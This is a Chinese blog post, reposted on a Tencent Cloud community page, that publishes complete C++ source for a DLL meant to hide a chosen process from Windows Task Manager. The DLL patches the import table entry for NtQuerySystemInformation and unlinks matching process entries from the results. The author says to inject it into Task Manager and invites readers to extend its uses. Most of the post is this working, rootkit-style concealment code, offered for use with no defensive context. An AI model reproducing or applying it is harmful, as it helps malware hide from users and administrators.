专栏首页鸿鹄实验室进程管理器中隐藏进程

进程管理器中隐藏进程

之前测试过在进程管理器中隐藏进程的方法,现把代码公开:

#define _CRT_SECURE_NO_WARNINGS

#include<Windows.h>
#include<Psapi.h>
#include<TlHelp32.h>
#include<stdio.h>
#include<stdlib.h>
#include<winternl.h>
#include<ntstatus.h>
#include<winnt.h>

using namespace std;

typedef struct _MY_SYSTEM_PROCESS_INFORMATION
{
    ULONG NextEntryOffset;
    ULONG NumberOfThreads;
    LARGE_INTEGER Reserved[3];
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ImageName;
    ULONG BasePriority;
    HANDLE ProcessId;
    HANDLE InheritedFromProcessId;
} MY_SYSTEM_PROCESS_INFORMATION, * PMY_SYSTEM_PROCESS_INFORMATION;

typedef NTSTATUS(WINAPI* PNT_QUERY_SYSTEM_INFORMATION)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength
    );

PNT_QUERY_SYSTEM_INFORMATION OriginalNtQuerySystemInformation =
(PNT_QUERY_SYSTEM_INFORMATION)GetProcAddress(GetModuleHandle("ntdll"),
    "NtQuerySystemInformation");


NTSTATUS WINAPI HookedNtQuerySystemInformation(
    __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout    PVOID                    SystemInformation,
    __in       ULONG                    SystemInformationLength,
    __out_opt  PULONG                   ReturnLength
)
{
    NTSTATUS status = OriginalNtQuerySystemInformation(SystemInformationClass,
        SystemInformation,
        SystemInformationLength,
        ReturnLength);
    if (SystemProcessInformation == SystemInformationClass && STATUS_SUCCESS == status)
    {
        
        PMY_SYSTEM_PROCESS_INFORMATION pCurrent = NULL;
        PMY_SYSTEM_PROCESS_INFORMATION pNext = (PMY_SYSTEM_PROCESS_INFORMATION)
            SystemInformation;

        do
        {
            pCurrent = pNext;
            pNext = (PMY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent + pCurrent->
                NextEntryOffset);
            if (!wcsncmp(pNext->ImageName.Buffer, L"notepad.exe", pNext->ImageName.Length))
            {
                if (!pNext->NextEntryOffset)
                {
                    pCurrent->NextEntryOffset = 0;
                }
                else
                {
                    pCurrent->NextEntryOffset += pNext->NextEntryOffset;
                }
                pNext = pCurrent;
            }
        } while (pCurrent->NextEntryOffset != 0);
    }
    return status;
}

void StartHook() {
    MODULEINFO modInfo = { 0 };
    HMODULE hModule = GetModuleHandle(0);

    
    GetModuleInformation(GetCurrentProcess(), hModule, &modInfo, sizeof(MODULEINFO));

    char szAddress[64];

    
    LPBYTE pAddress = (LPBYTE)modInfo.lpBaseOfDll;
    PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)pAddress;

    PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)(pAddress + pIDH->e_lfanew);
    PIMAGE_OPTIONAL_HEADER pIOH = (PIMAGE_OPTIONAL_HEADER) & (pINH->OptionalHeader);
    PIMAGE_IMPORT_DESCRIPTOR pIID = (PIMAGE_IMPORT_DESCRIPTOR)(pAddress + pIOH->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    
    for (; pIID->Characteristics; pIID++) {
        if (!strcmp("ntdll.dll", (char*)(pAddress + pIID->Name)))
            break;
    }

    
    PIMAGE_THUNK_DATA pITD = (PIMAGE_THUNK_DATA)(pAddress + pIID->OriginalFirstThunk);
    PIMAGE_THUNK_DATA pFirstThunkTest = (PIMAGE_THUNK_DATA)((pAddress + pIID->FirstThunk));
    PIMAGE_IMPORT_BY_NAME pIIBM;

    for (; !(pITD->u1.Ordinal & IMAGE_ORDINAL_FLAG) && pITD->u1.AddressOfData; pITD++) {
        pIIBM = (PIMAGE_IMPORT_BY_NAME)(pAddress + pITD->u1.AddressOfData);
        if (!strcmp("NtQuerySystemInformation", (char*)(pIIBM->Name)))
            break;
        pFirstThunkTest++;
    }

  
    DWORD dwOld = NULL;
    VirtualProtect((LPVOID) & (pFirstThunkTest->u1.Function), sizeof(DWORD), PAGE_READWRITE, &dwOld);
    pFirstThunkTest->u1.Function = (DWORD)HookedNtQuerySystemInformation;
    VirtualProtect((LPVOID) & (pFirstThunkTest->u1.Function), sizeof(DWORD), dwOld, NULL);

    sprintf(szAddress, "%s 0x%X", (char*)(pIIBM->Name), pFirstThunkTest->u1.Function);

    if (pIDH->e_magic == IMAGE_DOS_SIGNATURE)
        MessageBox(NULL, szAddress, "TEST", MB_OK);
    else
        MessageBox(NULL, "FAIL", "FAIL", MB_OK);

    CloseHandle(hModule);
}

bool __stdcall DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
    switch (dwReason)
    {
    case DLL_PROCESS_ATTACH:
        StartHook();
        break;
    }
    return TRUE;
}

将其注入到进程管理器进程中,即可隐藏指定进程,当然在tasklist中依旧存在,win10 x86测试成功。用途可自行扩展。

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-06-26

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 使用APIHOOK实现进程隐藏

            今天翻出一些今年前写的代码。其中一个是09年,我帮一个读研的同学写的一个“无公害恶意”程序。大致要求就是要实现自启动和自我隐藏。我使用的都是些简...

    方亮
  • 暴力搜索内存进程对象反隐藏进程

    我们前面说过几种隐藏进程的方法: 遍历进程活动链表(ActiveProcessLinks)

    战神伽罗
  • linux进程管理:进程,程序,线程 & 9个进程管理工具 & 作业控制

    程序 ------》系统调用-------》缓存(内存) -------》cpu处理 执行任务

    用户5807183
  • Linux进程管理

    每个用户均可同时运行多个程序。为了区分每一个运行的程序,Linux给每个进程都做了标识,称为进程号(process ID),每个进程的进程号是唯一的。

    Java3y
  • PHP进程管理

    这篇文章是对之前一篇文章的补充和改进, 创建一个主(master)进程,主进程安装定时器,每隔5分钟检测一次队列长度,根据队列长度计算需要的worker进程,

    用户3094376
  • supervisor 管理进程

    Supervisor是一个用 Python 写的进程管理工具,可以很方便的用来启动、重启、关闭进程.

    明哥的运维笔记
  • supervisor管理进程

    Supervisor (http://supervisord.org) 是一个用 Python 写的进程管理工具,可以很方便的用来启动、重启、关闭进程(不仅仅是...

    菲宇
  • Supervisor管理进程

    Supervisor是用Python开发的一套通用的进程管理程序,能将一个普通的命令行进程变为后台daemon,并监控进程状态,异常退出时能自动重启。它是通过f...

    苏欣
  • supervisor 管理进程

    Supervisor是一个用 Python 写的进程管理工具,可以很方便的用来启动、重启、关闭进程.

    明哥的运维笔记
  • Linux进程管理

    本文包括: 查看进程命令 ps、查看进程树命令 pstree、实时显示进程命令 top、查看后台任务命令 jobs、后台任务调至前台命令 fg、终止进程命令 k...

    Theo Tsao
  • Linux 进程管理

    进程是 UNIX/Linux 用来表示正在运行的程序的一种抽象概念,所有系统上面运行的的数据都会以进程的形态存在。

    用户1679793
  • Linux进程管理

    ps命令用于报告当前系统的进程状态。可以搭配kill指令随时中断、删除不必要的程序。使用该命令可以确定有哪些进程正在运行和运行的状态、进程是否结束、进程有没有僵...

    职场亮哥
  • linux进程管理

    查看进行使用的指令是 ps ,一般来说使用的参数是 ps -aux,ps -ef,正常与grep连用

    小小咸鱼YwY
  • 1.进程管理

    11、对进程的描述错误的是( d) A.进程是动态的概念 B.进程执行需要处理机 C.进程是有生命期的 D.进程是指令的集合

    见贤思齊
  • 一行代码如何隐藏 Linux 进程?

    总有朋友问隐藏Linux进程的方法,我说你想隐藏到什么程度,是大隐于内核,还是小隐于用户。

    民工哥
  • linux之进程管理

    用户 进程Id 占用cpu 占用内存 虚拟内存 物理内存 使用的终端 当前状态 启动时间 占用cpu总计时 ...

    西西嘛呦
  • windows 任务管理器,查看进程id,进程标识符pid

    任务管理器默认只显示了几列常用的属性,如果要看进程id等属性,需要我们设置让它显示出来。 操作方法如下: 进入任务管理器后,点击查看,再点击选择列。

    小蓝枣
  • 可视化集中管理服务器节点进程

    在之前的文章《自动化测试之进程管理》中讲到了用Supervisor做进程管理的好处,可以很方便的用来启动、重启、关闭进程,类似于 Linux 的 systemd...

    岛哥的质量效能笔记
  • Linux 进程管理之调度和进程切换

    每个CPU都有一个运行队列,每个运行队列中有三个调度队列,task作为调度实体加入到各自的调度队列中。

    刘盼

扫码关注云+社区

领取腾讯云代金券